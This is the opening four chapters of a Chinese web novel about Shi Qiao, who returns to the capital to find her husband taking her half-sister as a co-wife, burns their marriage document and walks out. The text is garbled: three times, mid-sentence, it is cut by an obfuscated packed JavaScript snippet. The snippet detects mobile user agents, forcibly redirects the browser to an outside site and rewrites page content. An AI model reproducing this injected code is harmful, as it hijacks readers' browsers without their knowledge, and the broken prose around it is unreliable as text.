《和嫡妹换亲三年后》 1. 第 1 章 时隔三年，这是时乔第二次进京。 从庆原府出发时尚是深秋，现下却已是寒冬腊月，那寒风钻进青帷马车，直往人骨头缝里钻。 时乔拢了拢身上半旧的织锦斗篷，努力压下喉间的痒意。 小荷看着姑娘苍白的脸，心疼地抱怨：“姑爷不去渡口接应也就罢了，怎也不出城迎一迎？这租来的油车实在不抗风。” 素心也不由皱眉。 姑娘回京虽是临时起意，可前几日已差人送了信儿，说今日到。姑爷哪怕再忙，吩咐下人一声的功夫总有吧？ 得亏何七租到了马车，否则他们今日都不见得能赶到京城。 姑娘的病，实在耽搁不得了。 暗暗腹诽着，但还是替姑爷打了圆场，“大战初歇，正是论功行赏的时候，姑爷说不定已经高升了呢，忙碌之下一时忘了也是有的。” 时乔不在意地笑了笑，继续低头看手中的农书。 他和罗珣成亲三年，太清楚他忙碌起来是什么样子，忘了接人也不稀奇。 马车行至宣北街时，“哒哒哒”的铁蹄声暴雨般袭来。 “大理寺办案，行人避让！” “大理寺办案，行人避让！” 数十名甲兵策马疾驰，很快到了跟前。 行人慌忙避让。 血色残阳里，持坚执锐的甲兵在前面开道，后面是长长的囚车队伍，蜿蜒看不到头。 马车旁挤满了行人，议论声钻进了马车。 “靖国公又抄了谁的家？” “威远侯府，说是通敌！” 那人大吃一惊：“靖国公不是威远侯麾下战将吗？” “饲鹰啄了眼喽！那可是个活阎罗，六亲不认的！进京才几日，大理寺的大牢就满了，抄家时但有反抗，便是手起刀落！” 时乔一怔，她抬眼看向窗外。 镣铐声和哭喊声中，她目光在一辆辆囚车上逡巡——威远侯、侯夫人、世子，世子夫人、儿女、妾室，仆从…… 一直到最后一辆，也没见到她“嫡妹”夏如蔷的身影。 夏如蔷是威远侯府裴二爷的正室夫人，虽已守寡，却也不可能在赦免之列。 她人呢？ 正疑惑着，有人低呼：“靖国公来了！” 枣红烈马凛凛而至，鞍上男子高大英挺，绛紫蟒袍，身后墨氅迎风猎猎，一身悍然气势。 他面容冷峻凌厉，一双眸子似染血的利刃，血腥浓郁，杀机重重。 时乔自幼在朔北长大，所在的庆原府离朔州关不过两百里之遥。她见过刚下战场杀气未散的将士，也见过以凶悍著称的西凉兵，却从没见过如此凶悍的眼。也不知多少人的血，方能浸染出这般骇人的气势。 这是时乔第二次见他，第一次是在两个月前。 朔州关破后，数不清的西凉军涌入朔北，蔓延开来，庆原府城被围成了一座孤岛，城墙残破，城门摇摇欲坠。 守城多日的官兵和百姓已近极限，矢尽粮绝，城破的阴影，笼罩在每一个人的心头。 就在千钧一发之际，远处黄沙沸腾，一队黑甲轻骑疾驰而来，如乌云蔽日，压向城下的西凉军。 他玄衣黑甲，伏在马上如一柄出鞘的利剑，迅速将敌军豁开一道口子，转瞬间便将敌军将领斩于马下。 他的兵马彪悍，再兼敌军群龙无首军心涣散，不消一个时辰，便死的死，逃的逃。 “凉州军萧烬前来驰援！”他驱马到城墙下，抬头望向她，“你可好？” 他的嗓音粗粝，沙哑，就似被戈壁滩上的风沙磨砺过，透着无尽的荒莽。 在得到她的回应后，萧烬便掉转马头，率大军腾腾而去。 再后来，便听说他潜入敌后生擒了西凉王，西凉大军本已连下数城，剑指中原，却投鼠忌器，无奈收兵退至关外，两国议和。 原来，他已经凭靖国之功封靖国公。 那日他们相隔太远，暮色又太过昏沉，时乔看不清他的样貌，却觉他问她那句“你可好”时的样子，像极了一位故人。 故人救下她后，也曾问她：“你可好？” 似是察觉她的打量，靖国公转头看了过来，目光在她脸上一顿。 他面色不动，从她苍白的脸上缓缓收回视线，驱马越过她。 街道上又恢复了正常。 时乔眉心蹙了起来。 威远侯如何通敌她不得而知，但通敌大罪，必多有株连。 罗府和侯府是姻亲，也不知靖国公会不会对罗府下手。 罗珣的筹粮之功，她的守城之功，可能让罗氏一族在这场清算中全身而退？ -- 罗府坐落在玉兰巷，马车快到巷口时，便走不动了。 路边停满了马车，看热闹的百姓将胡同口堵得水泄不通，喜庆的鼓乐声不绝于耳。 “姑娘，是迎亲的！”小荷兴奋喊。 时乔远远望出去，长龙似的迎亲队伍缓缓而来，喜乐喧嚣。 队伍的最前面，是骑着高头大马的新郎官儿，大红喜袍，风姿卓然，也不知是哪家的郎君。 三年前，也是这样的寒冬腊月，罗珣娶了她。 她从小在朔北的乡野间长大，十六岁那年，眼看着夏如蔷也到了议亲的年纪，父亲不得已方接她进京嫁人。 她不想认那个爹，自然也不肯认他给定的亲事。可在见过罗珣一面后，她又改变了主意。 他出身簪缨世家，又是上科状元入了翰林，本在京中有大好前程，却请旨去庆原府做知府。 她问他缘由。 他说：“为官者，为天地立心，为生民立命。” 他说这句话时，目光坚定，虽是文人，却有着锐不可当的气势。 她突然觉得，嫁给他或许是个不错的选择。 三年来，他一直践行着这句话。修渠垦荒，鼓励农耕，改良麦种，渐渐将广袤贫瘠的朔北之地变成了粮仓。百姓衣食丰足，朔北军再无粮草之忧。 他殚精竭虑，有着不顾一切的孤勇，哪怕屡遭瑞王一派打压，他也不改初衷。 有回她随罗珣押送粮草去朔北军大营，雍王感慨：“罗大人筹粮之功，可抵千军万马。本王原还小心之心，担心你是在为瑞王做事。” 他瞧了旁边的时乔一眼，笑道：“看来，终究是英雄难过美人关呐。” 罗珣沉默片刻，向来不苟言笑的他，难得应下了雍王的调侃。 “对。” 思及此，时乔唇角溢出一抹笑，迎风招展的大红绸映红了她那苍白的面颊。 小荷歪着脑袋看时乔，“姑娘在笑什么，怎么脸红了？” 时乔笑着嗔她一眼，“瞎说……” 话未说完，笑容僵在了脸上。 看着新郎官那张再也熟悉不过的面孔，她面颊上的那抹红骤然消失殆尽，变得苍白如纸。 她的夫君，罗珣。 喜袍红得刺眼，映衬得他愈发丰神俊逸，眉目清润似雨后春山，不复素日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519624|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的清冷淡漠。 在和她成亲时，他却不若现在这般好看。 许是，此时的他眼中有笑意吧。 他笑起来时，总是格外好看。只可惜，他极少笑。 时乔脑中阵阵轰鸣，人群的议论声浪翻涌而来，裹挟着一个熟悉的名字狠狠撞击她的耳膜：“夏二姑娘……罗侍郎以筹粮之功求来的赐婚圣旨……” “罗侍郎年轻有为，怎非要求娶一个寡妇呢？” “哎呀，当年搞错了！侯府只说是求娶夏家大姑娘，可时乔自小养在外面，府里一直喊夏如蔷大姑娘。阴差阳错的，好好一对金童玉女，就这么被硬生生拆散了。” 那人唏嘘了几句，又道：“倒也奇怪，侯府那位裴二爷可是有名的纨绔子，怎么就看中了一个乡下丫头呢？” “说起夏大姑娘，三年前大婚那日，我陪夫人赴宴时见过。”旁边一位衣着体面的仆妇接过话茬。 “长得那叫一个明艳动人，小脸跟玉雕似的，更绝的是那双含着露水的狐狸眼，仿佛会说话一般，勾人得很！她只消静静立在那儿，便生生将一众贵女衬得失了颜色。” 仆妇说着话，目光瞥过一旁的马车，马车简朴逼仄，挂着靛青粗布棉帘，在一众宽大华丽的锦绣马车中显得格格不入。 车里的女子虽生得一副好骨相，却两颊凹陷，一脸病态，一双眼蒙着倦意，黯淡无光。 她看起来像个农妇，常年田间劳作在她面容上留下粗糙的痕迹，肌肤晦涩苍白，像褪了色的陈年宣纸，连唇色都淡得近乎发白。 但看那鸦青鬓发间斜簪的玉簪，半旧的织锦斗篷，还有旁边伺候的丫鬟，又不是一个农妇能有的。 也不知怎了，看着失魂落魄的。 仆妇没再理会，转过头与身边人继续说话。 “姑娘……姑娘！”素心和小荷摇晃着时乔的手臂。 时乔却无所觉一般，死死攥着棉帘，直愣愣地盯着罗珣和他身后的喜轿。 罗珣却看不见她，不时回望身后的喜轿。 八抬大轿雕龙画凤，喜字团花织锦帷幔轻摇，锦帘后的新娘时隐时现。 时乔恍然明白了，罗珣的青云志是什么。 扳倒威远侯，夺回心上人。 他未得皇上诏令便匆忙进京，为的也不是朔北百姓，而是他的心上人。罗珣心思敏锐，定是从蛛丝马迹中察觉，夺回心上人的时机到了。 他在朔北苦心经营三年，为的便是这一刻吧？ 街边的孩子们阵阵欢呼，追逐着撒落的喜钱喜果。 两粒喜果落到了车里，恰巧落到了时乔脚边，她这才有了动作，俯身捡了起来。 是枣子和桂圆。 她下意识地看向手边的一个布袋，里面装了枣子，花生，桂圆，莲子。 是临行前庆原府百姓送的，说祝她早生贵子。每家一小把，竟凑了满满一麻袋。 这些年为扶他青云志，她踏遍荒野阡陌，阅遍天下农书水经，改良麦种，推广种植，熬坏了身子。又在春汛时落过水，守城时受过伤，她想要有孕，确实得一麻袋的祝福才够。 她随身装了些，路上当零嘴吃。庆原府的枣子格外甜。 素心和小荷还曾取笑她：“姑娘吃这么多，是打算生几个？” 外面忽地炸开一连串的鞭炮声，“迎新娘进门喽！” 惊得马扬起前蹄，时乔撞向了车壁。 她脸色惨白，捂着腹部伤口蜷缩成一团。 好疼啊。 2. 第 2 章 外面不知何时飘起了雪。 天暗了，也更冷了。 喧闹许久的鞭炮声渐渐停了，街道上安静下来。 “姑娘，他们进去了。”素心眼圈泛红，“姑娘，我们怎么办？” “欺人太甚！”小荷气得小脸通红，撸起袖子，“姑娘，咱去砸场子吧？” 时乔缓缓睁开眼，眼中已恢复清明。 “好。” “请夫人三思。”吴妈妈出现在马车旁，拦下作势要下车的时乔，“您此时若是进去闹，置罗氏一族颜面于何地？” 吴妈妈是罗府的老人，是她进门那日，罗老夫人指给她教规矩的。 时乔对吴妈妈一向敬重，只是端庄当不了饭吃，她继续我行我素罢了，为此吴妈妈没少往京城写信告状。 时乔淡淡看着她：“罗氏又何曾顾及过我的颜面？” 吴妈妈皱了皱眉，却还是苦口婆心相劝：“夫人若是惹恼了老夫人和老爷，对您没有半分……呜呜……” 她话未说完，便被小荷伸出手捂住了嘴，“我忍你很久了！” 时乔下了马车，拢紧斗篷，踏着红毯，步行进了巷子。 新人已经进门，巷子里空荡荡的，只几个下人在府门口守着。 罗氏清流世家，祖上出过两任宰辅，只是连续四代单传，日渐没落，只门楣上先帝御笔亲题的“福绥兆民”昭示着昔日辉煌。 硕大的大红灯笼高悬两旁，烛火通明，将晦暗的巷子照出一团喜气。 刘管事笑着迎了上来，拦住了她们的去路。 几步路的功夫，已将来人从上到下打量完，也就清楚了对方的分量。 是哪个旁支的落魄亲戚吧？ 心里如此想着，面上却不显轻视，丝毫不肯失了世家门第的规矩。 他躬身行了一礼，恭敬问：“不知夫人是哪家府上的，可有请帖？” 时乔停住脚。 她变化如此之大吗？ 当年嫁进罗府后，她虽只在府中呆了月余便随罗珣赴任了，但那期间她没少跟刘管事打交道，他竟认不出她了？ 跟在时乔身后的吴妈妈叹了口气，走出来道：“刘管事，这是夫人，你不认得了？” 方才被挡着视线，刘管事这才注意到吴妈妈。 他大惊失色，再细瞧时乔，一副见风就倒的病弱模样，除了眉眼略有眼熟，哪里能看出当年模样？ 他倒是认出了她身上的织锦斗篷，是出自府中绣娘之手，她竟穿了三年？ 刘管事连忙跪下告罪：“老奴眼拙，没认出夫人！夫人恕罪！” “无妨。” 时乔越过他，往门内走。 刘管事慌忙爬起来拦下，为难道：“夫人，老爷吩咐……让您先去城南的那处宅子。” 他说着话四处张望，“玉河没接到您吗？” 原来罗珣还有此安排。 是怕她坏了他大喜的日子吗？ 又或者，要让她给新妇腾地儿。那处市井之中的小宅子，就是她这一生的归宿。 时乔尚未说话，便见玉河从远处跌跌撞撞跑来，鼻青脸肿的，形容狼狈。 见到门口的时乔时，顿时惨白了脸，腿一软，“扑通”跪到了地上。 “小的们去接夫人的路上被人绑了，蒙上麻袋便是一通拳打脚踢，关了整整一日才放人……” 刘管事沉脸问：“什么人如此无法无天？” 玉河摇头：“他们身手太好，小的没来得及看清他们的长相，就被套上麻袋了。” 刘管事心下一惊。 玉河是老爷的长随，身手颇好，是老夫人特意挑来保护老爷的，在他们手中竟连过招的机会都没有？ 却不知对方是何来历，此举又是冲着谁来的？ 可此时刘管事也顾不得多想，当务之急是将夫人拦下，不能让她将婚礼给毁了，让罗府沦为京中笑柄。 “夫人，要不老奴先护送您去城南，待老爷安顿好了，再去接您回来？否则，玉河恐怕要被老爷打死了……” 时乔：“何七！” “在！” 何七应声而至，抡起刘管事往后一甩，正好砸中排成一排拦路的下人。 随后拔出佩剑，凛凛横在他们面前，一脸凶相，斜贯整张脸的刀疤看着格外狰狞。 下人们被吓住了，谁也不敢上前阻拦。 他们早就听说，夫人身边有个凶神恶煞的下人，只是他神出鬼没的，谁也没见过他的真容，说的便是他吧？ 时乔抬脚跨进罗府大门。 这是时乔第二次走中门，上次是在三年前，她大婚那日。 门槛，比上次高了不少。 朔北关门大破时，罗珣并不在庆原府，城中官员纷纷弃城而逃，是她领着城中士兵和百姓，守住了城门。没有她，庆原府支撑不到靖国公到来的那一日。 彼时他若在城中，庆原府失守，他不会被问罪，毕竟朔北军都没拦得住西凉大军，皇上又怎会苛责他一个知府。 可关键是他不在，他因私耽搁了归期。那么，官员弃逃、城门失守的罪责都会算到他头上。 那日眼看着城破在即，她顾不得隐蔽身形，拼命地拉弓射箭。她呵令何七不必再护着她，只管全力杀敌。 她彼时心中只一个念头，保住庆庆原府，保住罗氏。 她中箭了。 她心头却是一松。 若是城破了，圣上念在她拼死守城的份上，或许能放罗氏一族一条生路吧？ 时乔躺在病榻上，含笑受了他的大礼。 玩笑道：“前有筹粮之功，后有守城之功，不知罗氏的门槛要高几寸，门楣光耀了几分？待我们回京时，母亲可会打开中门迎接？” 当时罗珣是怎么回答的来着？ 直到过了仪门，时乔方想起来。 他当时什么也没说，只是紧抿着唇，目光沉沉地看着她。 矜骄自持，不苟言笑，是世家子弟的通病吧？时乔如此想着，沉沉睡了过去。 醒来时，发现他竟在床边枯坐了一夜，那双素来清明的眼中布满血丝，晦涩不明。 他立在山巅，云遮雾罩的，情绪少有外露，她一直看不透他。 “一拜天地……” 正前方就是议事大厅，门里门外挤满了宾客。 如今门槛高了，到府贺喜的宾客比上次多了不少，也尊贵了不少。 那些身穿绯色官袍的四品官员，竟在那喜堂上没有一席之位，只能挤在门口，吹着寒风。 “二拜高堂……” 一众护院在何七的长剑前步步后退。 时乔缓缓踏上台阶，走到了雕梁画栋的庑廊下。廊柱房梁皆已重新刷漆绘彩，焕然一新，一派欣欣向荣的新气象。 “夫妻对拜……” 门外观礼的宾客看到了来者不善的时乔，惊呼声盖住了赞礼官的声音。 喜堂中人自也察觉了外面的异样，贵客们虽端坐如松，目光却皆投向来人，全福人也忘了说吉祥话凑趣，堂里全然没了先前的喜庆热闹。 堂上正襟端坐的罗老夫人看到了时乔，一瞬的怔愣之后，脸色微微放沉，瞥了一旁的赞礼官一眼。 赞礼官会意。 跪在地上对拜的新人尚未起身，他就慌忙喊：“礼成，送入洞房！” “急什么？” 时乔的声音裹着风雪撞了进来。 在众人的目光中，她一步一步走到堂中央，看向罗珣。 罗珣与夏如蔷并肩而立，一个矜贵如玉，一个仪态万方，手中红绸相连，端得是一对佳偶天成的璧人。 在看到时乔身后横着剑的何七时，罗珣上前一步将夏如蔷挡在身后。 “时乔……” 满堂轰然。 罗夫人？！ 堂中不乏有人三年前见过时乔，此时看着堂中央这个风尘仆仆、憔悴不堪的女子，怎么也不敢相信她就是当年那个皓齿星眸的新嫁娘。 她站在那里，与周遭是那般格格不入，与罗大人更是云泥之别，让人突然理解了罗大人，为何执意要娶平妻。 时乔看着罗珣下意识的保护动作，不由觉得自己可笑。 去年春汛，她陪罗珣巡视江堤时失足落水，冰雪初融的春江水冰寒彻骨，却比不上此时半分。 时乔逼视着他，“这么大的喜事，夫君怎也不告诉妾身一声。” 迎上她咄咄的目光，罗珣眉眼间的温润消失殆尽，恢复了一贯的清冷。 他没想到时乔会回京，更没想到玉河没接到她。 他沉声道：“时乔，你先去歇息，我回头再与你解释。” 时乔笑笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519625|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“按规矩，我该坐在堂上，受妹妹的礼才是。礼未成，我如何走？” 罗珣沉眸：“时乔！” 时乔：“怎么，不舍得？” 罗珣薄唇微抿。 按规矩，确实该如此。 只是…… 平妻虽也是妻，可在先进门的原配面前天然矮上三分。如蔷此时若是给时乔行了进门礼，与妾室何异？ 如蔷心性清傲，如何受得了这般羞辱？也是因着这个，他方安排时乔先去城南住下，也好避开这一规矩。 他尚未开口，手中的红绸被轻轻扯了扯。 “夫君莫要为难，姐姐长我一岁，妾身向她行礼，本也是理所应当。”温婉平和的声音响起，如夏日清泉缓缓流淌，沁人心脾。 她又转向时乔，恳切道：“当年一场误会，阴差阳错乱了鸳鸯。行礼后，还望姐姐念在这些年我代你受过的份上，莫要心生芥蒂，以后你我姐妹和气相处。” 言罢，便作势要跪下。 这识大体的一番话，顿时赢得众人的一致赞赏，与咄咄逼人的时乔作比，当真是高低立现。 再看她那端庄的仪态，宽大的嫁衣也难掩的贵女风范，这才是世家宗妇该有的做派。 罗珣却拦下她，“你手握圣上赐婚圣旨，非寻常平妻，不必向她行礼。” 他看向时乔，“时乔，适可而止。” 时乔的心，在这一刻才算是彻底死了。 她方才，心中尚存有一丝希冀。 或许，他只是顾念旧日情分，只是为救夏如蔷免受株连，不得已而出此下策。 又或许，他有旁的不得已的苦衷。 可他那么重规矩的一个人，众目睽睽之下，却宁肯坏了规矩，也要保住心上人的体面。 真傻啊。 明晃晃的事实就摆在面前，她为何就不愿相信呢？ 时乔自嘲一笑：“夫君搬出赐婚圣旨，是不是我若再闹下去，便要给我安一个大不敬之罪了？” 罗珣面色微沉。 成亲三年，时乔一向对他恭顺，但凡他说的话，他要做的事，她都会不惜一切代价地支持。她似乎没有自我，满心满眼都是他，这辈子只为他活。 他没想到，她竟有如此锋利的一面，不依不饶，不计后果。 罗珣低声呵斥：“皇恩又岂是你能妄议的？” “时氏。”堂上老夫人缓缓开口。 儿子娶寡妇她固然不喜，可时乔以这番落魄模样出现在众人面前，不依不饶，践踏罗氏颜面，更让她不喜。 罗氏一族沉寂二十余载，如今好容易有了起色，岂能让一个无知妇人给毁了？ 恐怕她再不开口，明日就会有御史上折子弹劾罗珣，说他忘恩负义抛弃糟糠妻了。 “你三年无所出，珣儿取平妻有何可指摘的？”她这话是对时乔说的，更是对喜堂内外的宾客说的。 她盯着时乔，目光中隐含警告：“你且退下，你罗氏当家主母的位置，没人抢的走。” 时乔笑笑。 “老夫人既如此说了，我这当家主母，得赏给妹妹份见面礼。” 时乔自袖中拿出婚书，目光扫过罗珣当年亲笔题写的“修齐治平”四字，讥诮一笑，扬手扔进一旁的炭盆。 “那我便祝二位——黄泉共枕，永结同心。” 满堂哗然中，罗珣骤然变了脸色。 火舌舔上墨迹时，他倏地松开手中红绸，本能地向前几步，想去抢救那婚书。 可是迟了，伴着浓郁的墨香，婚书很快在炭盆中化为灰烬。 罗珣怔然望着那抹灰烬，恍然想起三年前，时乔与生父断亲时，便是这般决绝。 他哑声道：“时乔，我没想要与你和离。” “可是我想。” 时乔靠近罗珣，在他耳边轻声道：“当年你问我为何改变主意，肯嫁你了。” “是因为你说‘为天地立心，为生民立命''的模样，像极了那个为我燃篝火的人。他曾说，以战戈定国运，以白骨筑长城。” 杀人诛心，谁不会呢？ 你有你的心上人，我也可以编一个我的心上人。 罗珣眼眸骤然紧缩，“那人是谁？” 时乔笑而不答，转身走出了喜堂。 漫天风雪中，蓦然撞进一双鹰隼般凶悍的眼。 3. 第 3 章 靖国公萧烬。 他负手站在庑廊下，眉眼间染了暮色，黑沉沉的，深不见底。 时乔不知他在这里站了多久，也无暇去想他刚刚羁押了威远侯，为何不在大理寺审案，却出现在这里。 她对着他福了一礼，便挺直了孱弱的脊背，踏入风雪交加的暮色中。 萧烬目送她走远。 她走得极快，没了方才的从容，褪色的银红斗篷在她身后翻飞，挡不了半分风雪。 “姑娘，我们去哪里？”巷子口，素心问时乔。 时乔彷徨四顾。 冬日里天黑的快，家家户户已亮起灯火，照亮各自的一方天地，炊烟袅袅，饭菜飘香，充满人间烟火气。 只是在这万家灯火中，没有一盏灯是为她而亮。那些烟火，也没有一缕是为她而燃。 偌大的盛京城，竟无她容身之地。 真正能容下她的，恐怕只有玉屏山脚下的那片乡野吧。那里埋着母亲的骨，也埋着他的。 “先寻处客栈住下，待治好了病，拿到和离书和嫁妆银子，便回庆原府，回玉屏山。” 素心一怔，“和离？可是……姑娘的嫁妆银子，这三年已经都花光了啊。” 时乔：“花光了，就让罗府给补上。罗府清流世家，哪里会做出昧嫁妆的事。” 素心恍然，恨声道：“那么多银子，不把罗府掏空了才怪！” 主仆几人上了马车，却见吴妈妈小跑着追了出来，拦在马车前。 “夫人三思啊！您若是这么走了，以后想回罗府，怕是难了！” 时乔掀开帘子，“我此去，就没打算再回来。” 吴妈妈看着她，语气真诚：“夫人待老爷如何，老奴这些年看在眼里。如今您好容易守得云开见月明，就甘心这般走了，将主母之位拱手相让？” 她自是不甘心的。 只是当断不断反受其乱，母亲当年的路，她不想再走一遍。 母亲富商之女，当年嫁给穷秀才夏明举，供他读书科考，好容易盼到他春闱高中，等来的却是一纸休书，还有他已另娶伯府千金的消息。 母亲急火攻心，早产生下她，母女二人九死一生。待得身子好了些，母亲抱着襁褓中的她进京寻父亲，父亲却在大庭广众之下出言羞辱：“你嫁给我六年无所出，怎我刚离家就有身孕了？” 母亲怒极，阙门前血溅登闻鼓，夏明举这才认下她们母女，给了母亲平妻的名分。可在京城呆了些时日后，襁褓中的她越来越虚弱，母亲似是意识到了什么，便带她回了朔北玉屏镇老家。 母亲说：“只要你是官家千金，婆家总能敬重你几分，不敢轻漫于你，不至于步我的后尘。” “待你十五岁及笄，我们便回京，给你寻个如意郎君。” 边境多战乱，她十二岁那年，母亲死于兵匪之祸。夏明举却没让母亲入夏家祖坟，也没接她回京，任她自生自灭。 三年前她回京后她方知，在夏氏族谱上，母亲由平妻悄然变成了妾室，而她变成了庶女。 在她的记忆中，母亲人前欢笑，人后却是郁郁寡欢，眼中的恨与不甘，充斥着她整个童年。 母亲此生，最恨平妻。 时乔此生，最恨平妻。 “没什么不甘心的，吴妈妈请……” 话未说完，便被一阵的剧烈咳嗽打断。 撕心裂肺的咳嗽声，响彻寂静小巷。 一口血吐了出来，染红了衣襟。 两个丫鬟显然已经习惯了，丝毫不见慌乱，有条不紊地帮时乔顺气，擦拭血污，帕子脏了一块又一块。 吴妈妈面露不忍，夫人自受伤后便时常咳血，看着倒似短命之兆。夫人规矩虽学得不好，待老爷却是真心实意地好。这样的人，怎落得如此下场？ 待咳嗽声停了，她语重心长道： “夫人若是和离，您这副情形，以后想找个更好的归宿怕是难。天下男子大致都是一样的，任谁也不可能一辈子只守着您一人……” 时乔落下帘子，“何七，走吧。” “是！” 何七扬鞭，马车辚辚而去。 马车里，小荷觑着时乔，憋了许久，还是忍不住问：“姑娘，那位裴二爷，当年要求娶的当真是您？” 不怪小荷不信，连时乔也不敢相信。 她和那裴二爷素不相识，第一次见他还是在进京后的宴会上。 那位裴二爷在一众王孙公子中脱颖而出，不但文采斐然，武艺骑射也是一流，再兼容貌俊美近乎妖孽，一场宴会下来，不知俘获了多少少女的春心。 彼时她感觉此人过于张扬，生怕旁人不知道他有多少本事一般，且还爱在她们跟前晃悠。 在她因做不出诗被贵女们嘲笑时，他还曾为她解围：“会作诗就瞧不起种地的？我很好奇，若把诸位和她一同扔到荒野中，谁能靠着‘作诗’活下来？” “她会的，是活人性命的真本事。而你们引以为傲的，离了这金堆玉砌的宴会，还剩什么？” 一番话下来，那些贵女的脸色精彩得很。 接下来的宴会，她便自在了许多，再也没有人取笑她这个乡下丫头了。 后来侯府夫人上门提亲，她方知原来裴二爷看中了夏如蔷，那日是在孔雀开屏呢。 在那之后不久，她去慈圭山为母亲点长明灯，告诉母亲她要成亲了，出灯塔时遇到了他。 夕阳下，他屈膝疏懒闲坐意态风流，那敛尽天地英华的眉眼染了霞色，愈发纷华靡丽，摄人心魄。他漫不经心地看了过来，在看到她时，顿时坐直了身子，变得一本正经起来。 他问她：“你还认得我吗？” 那时他和夏如蔷已经在议亲，时乔要避嫌，对他福了一礼，“小侯爷有礼。”便快步离开。 他起身追了上来，认真道：“你别叫我小侯爷，我叫裴临川，表字慎之，外面的那些传闻你别信，我……我定不会负你！” 他说着话，将一块玉佩塞到她手里，那张妖孽一般的俊脸涨得通红。 时乔在宴会上曾听那些失了面子的贵女历数裴二爷的斑斑劣迹。 说他自小聪慧，十二岁就上战场杀敌，皇上也喜爱他，常召他进宫作皇子伴读。只是随着年岁渐长，他日益顽劣，终日溜鸡斗狗，花天酒地，成了有名的纨绔。还曾在赌场与人大打出手，打死人逃出去一躲就是一两年。 时乔本还半信半疑，彼时却发现传言果然非虚，他连未来姨姐都敢调戏。 她将玉佩扔了回去，呵斥了句“小侯爷请自重”就快速跑开了。 回京路上又遇上了他， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519626|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他骑马经过她的马车时，扬手一挥，玉佩穿过车窗，正正好落到她手边。 她捡起玉佩想还回去时，却见他已远去。 广阔的天地间，少年鲜衣怒马意气风发，扬手挥舞着马鞭，玉白锦袍肆意飞扬。 后来再见他，便是大婚后了，在瑞王府的一场宴会上。垂花门前，她扶着罗珣的手下马车，抬头便看见裴临川站在不远处的松树下，紧抿着唇，直愣愣盯着她，一双眼沉得厉害。 如今想来，裴二爷要求娶的，恐怕确实是她。 -- 喜堂上。 气氛并未因时乔的离开而缓和，反而更紧张了起来。 满堂朱紫皆没了原先的从容，除了雍王不动如山地坐在那里喝茶，其他人都站了起来—— 靖国公来了。 一场灭国之危，让圣上龙颜震怒，大有“宁可错杀不可放过”之意。而靖国公，就是圣上手中的刀。 这位靖国公心狠手辣，杀伐果断，谁也不知道他接下来会对谁下手。 大家同朝为官多年，难免有些来往，扯出萝卜带出泥，不知多少人要家破人亡。 在他的威压之下，所有人都屏住呼吸，只觉一柄利剑在头顶上悬着，随时都会落下来。 靖国公缓缓扫视一圈，最后将目光定在罗珣身上。 “还没恭贺罗大人大喜。” 众人缓缓松了口气，那些地位比靖国公高的王公贵族，纷纷坐了回去。 是了！靖国公此来定然是贺喜的，他们这么紧张作甚！ 靖国公襄助雍王退敌，罗侍郎助雍王筹粮，两人都算得上是雍王一派。靖国公弹劾威远侯通敌时，罗侍郎也曾出言相帮。 如此算来，两人关系瓷实的很呐！ “靖国公大驾光临，有失远迎，下官失礼了。”罗珣施礼，又伸手作请，“靖国公先坐下喝茶，喜宴马上就开始了。” 有位紫袍大员麻利地往旁边一站，让出座位。 却见靖国公瞧也不瞧，踱步到正中央八仙桌东边空着的主位，大马金刀落座。 众人大吃一惊。 雍王殿下在此，他一个国公，又不是主家，哪里轮得到他坐上座？！ 却见他将佩剑往桌上一放，面无表情道：“本公不是来喝喜酒的，是来办案的。” 那些刚坐下的王公，又猛地站了起来！ 罗珣沉眉看向靖国公，“靖国公在下官喜堂上办案，恐怕不妥吧？” 靖国公淡瞥他一眼：“不在喜堂上办案也成，那就要劳烦夏二姑娘带上嫁妆去大理寺走一趟了。” 察觉身边人身子一晃，罗珣忙扶住她，安抚地拍拍她的手臂。 “靖国公这是何意？得圣上允准，内子两日前已放归本宗，侯府诸事与她无干。” 他冲着靖国公身后的紫檀高案拱手，冷声道：“赐婚圣旨在此，靖国公是想抗旨吗？” 靖国公神色无一丝松动，“她虽已不是侯府中人，可夏二姑娘临走前，带走不少府中物件，里面说不定就藏着威远侯通敌的罪证。” 他双手撑膝，逼视着罗珣，“罗大人你说，本公该不该查？” 罗珣面沉如水，“靖国公，你非要如此吗？” 靖国公不再多言，只抬手。 “搜！” 4. 第 4 章 熙和客栈位置略偏，客房局促，但胜在实惠。 一共要了要了三间房。 时乔和素心一间，温大娘和小荷一间，何七一间。 他们都是时乔的人，罗府的下人一个也没让跟过来。 雪簌簌下了一夜，扰得人不得安眠。 素心用了些胭脂，方让姑娘的脸色看起来好一些。 刚梳妆妥当，小荷就从外面跑了进来。 “昨夜下了好大的雪呢！店家熬了羊汤，还有羊肉包子，听说好吃着呢，远近闻名！” 